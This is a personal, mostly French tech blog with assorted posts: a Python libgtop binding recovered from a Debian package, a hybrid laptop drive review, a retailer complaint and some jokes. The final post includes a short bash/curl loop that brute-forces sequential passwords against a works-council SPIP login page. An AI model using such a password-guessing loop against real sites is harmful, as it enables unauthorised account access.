dimanche 21 juin 2015

python binding for libgtop2

Where is it ?! It's my code and I can't find it anymore. I'm not even sure about where is the precious 'gtop.c' file within gnome. I've just found it in the archives: gtop.c and I have immediately clone this and gdesklets.

I have also written a silly email to the debian maintainers to understand what is going on because the gtop.c is still shipped within source package gnome-python-desktop but it is not built. And the old gdesklets package ships its own file.

The gdesklets version will do for now. Here's how to grab it and use

# Get it
$ aptitude download gdesklets
Get :  1 http://ftp.fr.debian.org/debian/ sid/main gdesklets amd64 0.36.1-7 [2 699 kB]
 2 699 kB downloaded en 1s (1 868 kB/s)


# Extract it
$ ar x gdesklets_0.36.1-7_amd64.deb
$ tar xJf data.tar.xz ./usr/lib/gdesklets/libdesklets/system/gtop.so
$ mv ./usr/lib/gdesklets/libdesklets/system/gtop.so .


# Check it
$ ldd -r gtop.so | grep libgtop
        libgtop-2.0.so.7 => /usr/lib/libgtop-2.0.so.7 (0x00007feda0cb4000)


# If you don't have this
# apt-get install libgtop2-7

# Here's a simple example
Python 2.7.10 (default, Jun  1 2015, 16:21:46)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import gtop
>>> gtop.loadavg()
Struct { .last_pid = 9065, .loadavg1 = 0.14, .loadavg15 = 0.14, .loadavg5 = 0.1, .nr_running = 2, .nr_tasks = 398 }

There's also the new binding based on the Gnome-Instrospection framework but I'm afraid it's currently broken. It's autogenerated, and I have started to fix it. It's shipped with package gir1.2-gtop-2.0. Here's a sample code, it's very closed to the C usage.

#!/usr/bin/env python3

from gi.repository import GTop

GTop.glibtop_init()

buf = GTop.glibtop_loadavg()
GTop.glibtop_get_loadavg(buf)
print(dict((k, getattr(buf, k)) for k in dir(buf) if not k.startswith('__')))

And it runs (probably because of my local unsent patches):
$ python3 loadavg.py
server=0x7fe25d788c00 features=0 flags=0 server_flags=0
server=0x7fe25d788c00 features=20 flags=0 server_flags=b0000
{'flags': 15, 'last_pid': 9590, 'nr_tasks': 401, 'nr_running': 2, 'loadavg': [0.02, 0.04, 0.07]}


mardi 16 juin 2015

Seagate Hybrid Drive

Lately, I have replaced two laptop drives : a Toshiba MK6475GSX 640GB Jan-2012 and an older and failing Seagate Momentus 5400.6 320GB. I've swapped them with two Seagate ST500LM000 2.5" 500 GB that I bought on LDLC for ~70€. I've copied the data with a mix of sfdisk, dd and ntfsclone, obviously I've had to change the partitions sizes for the 640GB -> 500GB and I've had to realign an ext4 partition. Editing sfdisk input file and playing with parted was alright.
The performance is very good, somewhere between 100-120MB for reads. There's no burst when the data is on the 8GB SSD, but it feels like everything is smoother and faster. I don't have hard stats but it seems to me that the real issue with classic laptop drives is there lack of buffer, usually 8-16MB. Well, with a 8GB SSD, that's no longer an issue. The laptops are running Windows 7 and Debian. Everything is transparent, nothing to configure, it runs fine out of the box. So I'm happy with these cheap upgrades.

(I am writing in English because I wasn't able to find any user comments (!= review) on the ST500ML000 before I purchased them, so I'm just sharing).

jeudi 27 mars 2014

Cdiscount Cfini

Plus jamais je ne commanderai sur Cdiscount.
Jusqu'à présent je n'avais pas eu de problème mais aujourd'hui j'ai passé commande d'un casque audio. Problème: je reçois finalement un mail m'indiquant que la livraison aura lieu dans 2 mois ... je décide donc d'annuler ma commande. Et là le spectacle commence:
  • Impossible d'annuler par Internet, ça n'est pas prévu. Il faut appeler un numéro surtaxé.
  • Forcément le télé-conseiller m'informe que leur informatique est en panne et que je n'aurai qu'à rappeler.
  • Contrairement à Amazon, Cdiscount prélève à la commande et non pas à la livraison.
J'en suis donc réduit à envoyer par courrier papier ma demande d'annulation et de remboursement. C'est pitoyable et la blague du téléphone m'a déjà couté 3€ de communication. Honte à Cdiscount. Je croise les doigts pour être remboursé facilement et après je supprime mon compte de ce site arnaqueur.

vendredi 1 novembre 2013

Armurerie Open Source

Pourquoi est-ce que les premières choses que les américains impriment en 3D sont des armes ? Je viens de découvrir pourquoi: il y a peut-être une vrai culture de l'open source dans les armes là-bas. J'ai vu une vidéo avec un vendeur d'arme qui faisait l'article d'un nouveau fusil et à un moment il décrit le nouveau chargeur et il dit à peu près en anglais "pour le moment il nous est propriétaire mais il sera open source dans environ un an" à 7min 08s



C'est peut-être limité aux petites pièces (chargeurs, munitions, accessoires) mais on dirait qu'il y a réellement une pratique open source (à défaut de libre) pour assurer la compatibilité et la diffusion de ces pièces.

mercredi 25 janvier 2012

Brèves

Le client a décidé que:
- les postes du site A redémarreraient le dernier lundi de chaque trimestre;
- les postes du site B redémarreraient le premier lundi de chaque mois impair.

Nul besoin de préciser que les lusers des sites A et B travaillent de manière identique.

Suite à quoi, un professionnel hérite de la lourde mission de pisser un script shell pour mettre en oeuvre cette "stratégie". A cause d'un bug, ce 26 décembre, les stations du site A n'ont pas redémarré. En effet, les tableaux KSH sont indexés à partir de 0 (zéro) -- comme partout en fait (sauf en Pascal) -- et utiliser le numéro du mois comme indice est funeste le dernier mois de l'année.

J'appelle le collègue.

"Encore heureux que tu ne programmes pas des missiles !
- Détrompe-toi, j'ai travaillé à l'apéro-spatiale sur des missiles pendant la guerre du Golfe."

mercredi 22 juin 2011

Et les Shadoks pompaient...

Cher Luc,

dans ta recherche d'une femme, si Xi désigne une rencontre, 1 signifiant le succès et 0 l'échec, contrairement à la logique Shadok, la probabilité que ta rencontre Xi+1 soit un succès ne s'accroît pas forcément.

Par exemple, pour 4 filles rencontrées, si succès est synonyme de relation sexuelle, la probabilité que tu couches avec ta 5ème rencontre est de 0,5.

Par contre, si un succès signifie que tu as trouvé la femme de ta vie, la probabilité que ta 5ème rencontre soit la bonne est de 0,16. Si c'est à nouveau un échec, cette probabilité n'est plus que de 0,14 pour ta 6ème, etc.

Bref, après 99 échecs, la probabilité de ton succès sera en fait inférieure à 0,01 et non pas égale à 1 comme le prevoient les Shadoks.

C'est implacable.

jeudi 5 mai 2011

Comment j'ai craqué mon compte CE

Mon compte sur le site de mon CE a changé et son mot de passe aussi. Pour commander mes chèques vacances au dernier moment, je me suis donc retrouvé coincé jusqu'à qu'un collègue me fasse remarquer que les mots de passe initiaux ont l'air d'être séquentiels (#fail).

Le site de mon CE étant vraiment sécurisé (merci SPIP), un petit bout de tshark, un petit coup de curl pour faire des POST, et hop, mot de passe récupéré !

for i in {0..100}; do
    id=$(printf 'za%03d' $i);
    echo $id;
    curl -q -D - -U 'proxy_user:password' -x proxy:8080 -d "matricule=1983&password=${id}&SubmitAuth=Connexion" 'http://www.mon-ce.com/spip.php?page=authentif' | grep Location;
done